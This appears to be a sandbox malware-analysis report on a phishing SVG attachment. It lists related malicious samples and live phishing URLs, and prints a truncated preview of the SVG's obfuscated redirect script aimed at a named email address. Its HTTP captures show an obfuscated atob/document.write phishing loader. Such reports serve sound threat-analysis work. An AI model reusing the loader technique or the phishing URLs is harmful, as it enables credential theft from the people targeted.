	Revised - Hartzellprop.com 2025 Handbook29828.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Revised - Cwalker 2025 Handbook25807.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://nz.freshmnind.ru/E9nFcFhuAwW2u/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	4354_QB_Paymt_Statemnt.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
cdnjs.cloudflare.com	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	phishing.eml	Get hash	malicious	Unknown	Browse	104.17.24.14
	test.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Pricing Analysis - Ecomm and Amazon vs List.xlsx	Get hash	malicious	Unknown	Browse	104.17.24.14
	Pricing Analysis - Ecomm and Amazon vs List.xlsx	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://bill-payonline.com/checkout?ref=bill-payonline.com	Get hash	malicious	Unknown	Browse	104.17.24.14
code.jquery.com	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	phishing.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	test.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://protect.checkpoint.com/v2/r02/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDb5RYhyf7Kpg76mQsWD31yof1Vz37cyQEc6U1m5iMGETnZDWnZDWr0y31qxQrqpjLmAg1Zz37bqRp4oOYOL4Zu8W2iRR0S8V5KSVZcIgrifWpC8hYmJZ2mrY63EVp6sZstChpC0iK4oQ19/RsR6XpqxVrWSTKqN3oOwVpcJR2qHWsSYX801WsKLfop/i50W1Zus0JKR4EOqf8WKSZKNZ8iMZpKRi7l5g0KJ40Z6hqOmg2SNW8u54Mm9S5/k1KKNR7/SQ0m0hs0/48Kuh8N/fsRETImQjr/Uh1J6XLy0gMuD4KmX004r40iyTJy84ISVjKcqjpcq4qcESEGNi5KG26b91om~VpJr4Y5y0Kt8TLWLXsOVhpynQ2GERoGtX809TJ3yWpmVQ003iD4o41Zc4L6PhLSyZpKn08mv3rp6fqqWUY5=dc~Gb~b7F~2c/cbH8/FaH9H/KK/GbJaJ/IJ569bFc~F/JIbHGHa7H8/7aa/G/Kb6I?h=6&fru;n=6&fru;ithx=6___.YzJlOmdhbmdzdGVyOmM6bzpiOGQ1YzIxZDBhODFkODAyNjQ3ZTBjNzc3MTdiNmY3ZDo3OmQwYzA6MTVhOWVkNDViMjQ5YjliMTE4NzM1ZDUwM2UyMThlNWU4ZGRjODY4ZjdmNDczYmNkYThiM2JmNWU0NWI4NDI2NTpoOlQ6VA	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	test.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://bill-payonline.com/checkout?ref=bill-payonline.com	Get hash	malicious	Unknown	Browse	151.101.194.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr	Get hash	malicious	ScreenConnect Tool	Browse	104.18.86.42
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	midsommerens.bat.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	172.64.80.1
FASTLYUS	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	151.101.44.193
	https://github.com/testadminia/Card-Memory.git	Get hash	malicious	Unknown	Browse	185.199.110.154
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.109.133
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	phishing.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
	test.html	Get hash	malicious	Unknown	Browse	185.199.108.133
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
	Pricing Analysis - Ecomm and Amazon vs List.xlsx	Get hash	malicious	Unknown	Browse	199.232.89.229
GITHUBUS	https://github.com/testadminia/Card-Memory.git	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	test.html	Get hash	malicious	Unknown	Browse	140.82.113.4
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	SecuriteInfo.com.Trojan.DownLoader45.42287.31043.2783.exe	Get hash	malicious	Unknown	Browse	140.82.114.3
	SecuriteInfo.com.Trojan.MulDrop23.34226.30868.14577.exe	Get hash	malicious	Unknown	Browse	140.82.114.3
	Epsilon-Setup.exe	Get hash	malicious	NovaSentinel	Browse	140.82.113.3
CLOUDFLARENETUS	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr	Get hash	malicious	ScreenConnect Tool	Browse	104.18.86.42
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	midsommerens.bat.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	172.64.80.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	5.3130816813411155
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg
File size:	638 bytes
MD5:	6a4b71b5b73242579114a0d4fb4074f3
SHA1:	2f3b24a9dd129347ba10bd837bc4b9f2dafaa060
SHA256:	7f6bad8d291e2dd6fa63e583ad6751d5e012ddf3e23ea62832cfa3ccf6381313
SHA512:	353db138abe1bc4cc008ffaf2844706beee3236b22d208b846ce9470c97c219ea8025938e9e45847934b09fb988274912e90fee9f48b3f6444e0d37b1181b32c
SSDEEP:	12:TMHdtLOoNAg9hgUrtMXIJhmpyDr2UVBhGBU2JLg1NV4/:2dtLOoTDtMXIauKUVBqLgNV4/
TLSH:	31F0ACE4EB84DEB051B405E5073898394E9760220D000DE8BD957D482FB4CA7268DAAD
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">.<script>.<![CDATA[.RhKqW = "$kenneth@arts.state.tx.us";.new Function(("77696e646f772e6c6f636174696f6e"+. "2e68726566203d2061746f622

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 22:11:02.024650097 CET	53	55948	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:02.037914038 CET	53	62720	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:02.720998049 CET	53	55768	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:02.918164968 CET	53	50013	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:06.160579920 CET	57764	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:06.160765886 CET	53952	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:06.243494987 CET	53	57764	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:06.243594885 CET	53	53952	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:07.777582884 CET	61587	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:07.777698040 CET	56855	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:07.872587919 CET	53	61587	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:07.900532007 CET	53	56855	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:08.988507986 CET	54637	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:08.988507986 CET	61799	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:08.993556023 CET	52745	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:08.993756056 CET	59948	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:09.072073936 CET	53	54637	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:09.072115898 CET	53	61799	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:09.076318979 CET	53	52745	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:09.076442957 CET	53	59948	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:09.751948118 CET	61461	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:09.752485037 CET	56148	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:09.842144012 CET	53	61461	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:09.842299938 CET	53	56148	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:10.421000004 CET	64966	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:10.421425104 CET	54743	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:10.503942013 CET	53	64966	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:10.504158974 CET	53	54743	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:14.806904078 CET	57871	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:14.807219982 CET	56993	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:14.986823082 CET	53	56993	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:14.999450922 CET	53	57871	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:16.087944984 CET	61198	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:16.088058949 CET	50334	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:16.170831919 CET	53	61198	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:16.170876026 CET	53	50334	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:16.656742096 CET	58852	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:16.656743050 CET	63261	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:16.744988918 CET	53	58852	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:16.745014906 CET	53	63261	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:17.376208067 CET	62352	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:17.376301050 CET	50422	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:17.465049028 CET	53	62352	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:17.465095043 CET	53	50422	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:18.925689936 CET	54279	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:18.925854921 CET	54593	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:18.928721905 CET	61270	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:18.928843975 CET	60218	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:19.014056921 CET	53	54279	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.014096975 CET	53	54593	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.016900063 CET	53	61270	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.016968966 CET	53	60218	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.759258032 CET	55513	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:19.759402037 CET	63510	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:19.847403049 CET	53	55513	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.847474098 CET	53	63510	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:19.981749058 CET	53	63294	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:21.594316006 CET	56046	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:21.594444036 CET	54946	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:21.682555914 CET	53	56046	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:21.682571888 CET	53	54946	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:21.714349031 CET	53	51435	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:22.649512053 CET	63316	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:22.649907112 CET	57653	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:22.737684965 CET	53	63316	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:22.738071918 CET	53	57653	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:23.213020086 CET	54185	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:23.213249922 CET	49205	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:23.318209887 CET	53	49205	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:23.338010073 CET	53	54185	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:24.127309084 CET	59974	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:24.127506018 CET	58418	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:24.215814114 CET	53	59974	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:24.215887070 CET	53	58418	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:24.445894957 CET	65501	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:24.446012974 CET	58685	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:11:24.535860062 CET	53	65501	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:24.535897017 CET	53	58685	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:37.675575018 CET	53	57709	162.159.36.2	192.168.2.5
Mar 26, 2025 22:11:38.790801048 CET	53	62005	1.1.1.1	192.168.2.5
Mar 26, 2025 22:11:56.211883068 CET	138	138	192.168.2.5	192.168.2.255
Mar 26, 2025 22:12:01.470396042 CET	53	49507	1.1.1.1	192.168.2.5
Mar 26, 2025 22:12:01.766758919 CET	53	64863	1.1.1.1	192.168.2.5
Mar 26, 2025 22:12:17.379399061 CET	51200	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:12:17.379399061 CET	53536	53	192.168.2.5	1.1.1.1
Mar 26, 2025 22:12:17.467767000 CET	53	51200	1.1.1.1	192.168.2.5
Mar 26, 2025 22:12:17.467794895 CET	53	53536	1.1.1.1	192.168.2.5
Mar 26, 2025 22:12:32.302108049 CET	53	55538	1.1.1.1	192.168.2.5
Mar 26, 2025 22:13:18.701134920 CET	53	62819	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:08 UTC	688	OUT	GET /8VVgl7/$kenneth@arts.state.tx.us HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:08 UTC	1212	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQ5ryqCvdT5KF8eVXqmmBO9TKAgKRF9etn1SJK9Tb0YjCNKptC2CcHHZBMI8GTT8sL0zfKzy0bNimUqtZdb7f5NzXkyny49XCCEVmfzUKHJT7EIeWgMfmwb3ad%2FqzNKa7Lk%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16445&min_rtt=16434&rtt_var=4641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1599&delivery_rate=245328&cwnd=252&unsent_bytes=0&cid=7a13d3a930242a26&ts=226&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjRqZ1d6TERIakZFdzQ3T0RlL3NiUFE9PSIsInZhbHVlIjoiVkNKMGFKMDBSL2RreHUwSFZmL2o2TCtHUUlHWjF4Sm4rMlNIZFVBblVDb05EMWxtSVNCVGdFcFVlMjg3dVpydEJmemh5d2EvcDJHelFTRjd2enMxYSt2NFJsOGQ4LytsRm9GL2VrSXNpUmhCU2ZzYU95eUV4SnIzbXBEOVFiK3IiLCJtYWMiOiJhMTQ1ZmY3OTExNjI1YmZmMjExOWEwMzk2YjY2Nzg5ZDMwMzkyYWRjNjI2ZDQ4YTQxNzBkMGMzOWQxODljMDEwIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:11:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:11:08 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 63 35 5a 31 4a 79 54 6c 70 43 61 46 67 34 64 30 39 57 56 6b 68 7a 64 46 70 51 4d 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6a 5a 6c 5a 56 49 34 4f 54 46 31 56 44 52 78 55 55 46 76 53 6a 6b 34 4d 30 4a 69 57 46 70 58 65 45 4e 79 57 44 59 7a 57 46 68 6f 52 32 38 7a 51 6d 52 50 51 6a 45 32 65 48 68 69 4d 6b 67 35 63 47 56 79 4d 6d 52 30 4f 58 52 6a 57 55 46 78 4f 45 70 36 4d 47 56 44 54 56 64 6e 5a 56 6f 32 64 57 74 42 64 6e 42 5a 54 30 4a 45 4d 30 39 6f 55 47 77 31 5a 48 5a 53 62 6b 70 4c 63 6a 64 43 52 6d 35 50 53 55 38 76 54 31 59 79 4f 47 6c 47 59 6d 74 33 55 31 4a 52 65 6d 35 74 63 79 74 70 55 45 4e 61 52 58 70 6b 4e 6b 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Imc5Z1JyTlpCaFg4d09WVkhzdFpQMUE9PSIsInZhbHVlIjoicjZlZVI4OTF1VDRxUUFvSjk4M0JiWFpXeENyWDYzWFhoR28zQmRPQjE2eHhiMkg5cGVyMmR0OXRjWUFxOEp6MGVDTVdnZVo2dWtBdnBZT0JEM09oUGw1ZHZSbkpLcjdCRm5PSU8vT1YyOGlGYmt3U1JRem5tcytpUENaRXpkNkM
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 31 38 64 31 0d 0a 3c 73 63 72 69 70 74 3e 0a 74 6e 72 6f 4f 63 63 55 54 54 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 79 63 6a 6b 33 4c 6e 70 76 62 6e 46 6b 61 33 46 6c 65 6d 74 30 64 79 35 6c 63 79 38 34 56 6c 5a 6e 62 44 63 76 22 29 3b 0a 58 67 52 55 46 49 43 61 69 41 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 44 6e 77 66 71 59 67 41 77 4d 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 74 6e 72 6f 4f 63 63 55 54 54 20 3d 3d 20 58 67 52 55 46 49 43 61 69 41 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 44 6e 77 66 71 59 67 41 77 4d 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 18d1<script>tnroOccUTT = atob("aHR0cHM6Ly9ycjk3LnpvbnFka3Flemt0dy5lcy84VlZnbDcv");XgRUFICaiA = atob("bm9tYXRjaA==");DnwfqYgAwM = atob("d3JpdGU=");if(tnroOccUTT == XgRUFICaiA){document[DnwfqYgAwM](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-26 21:11:08 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
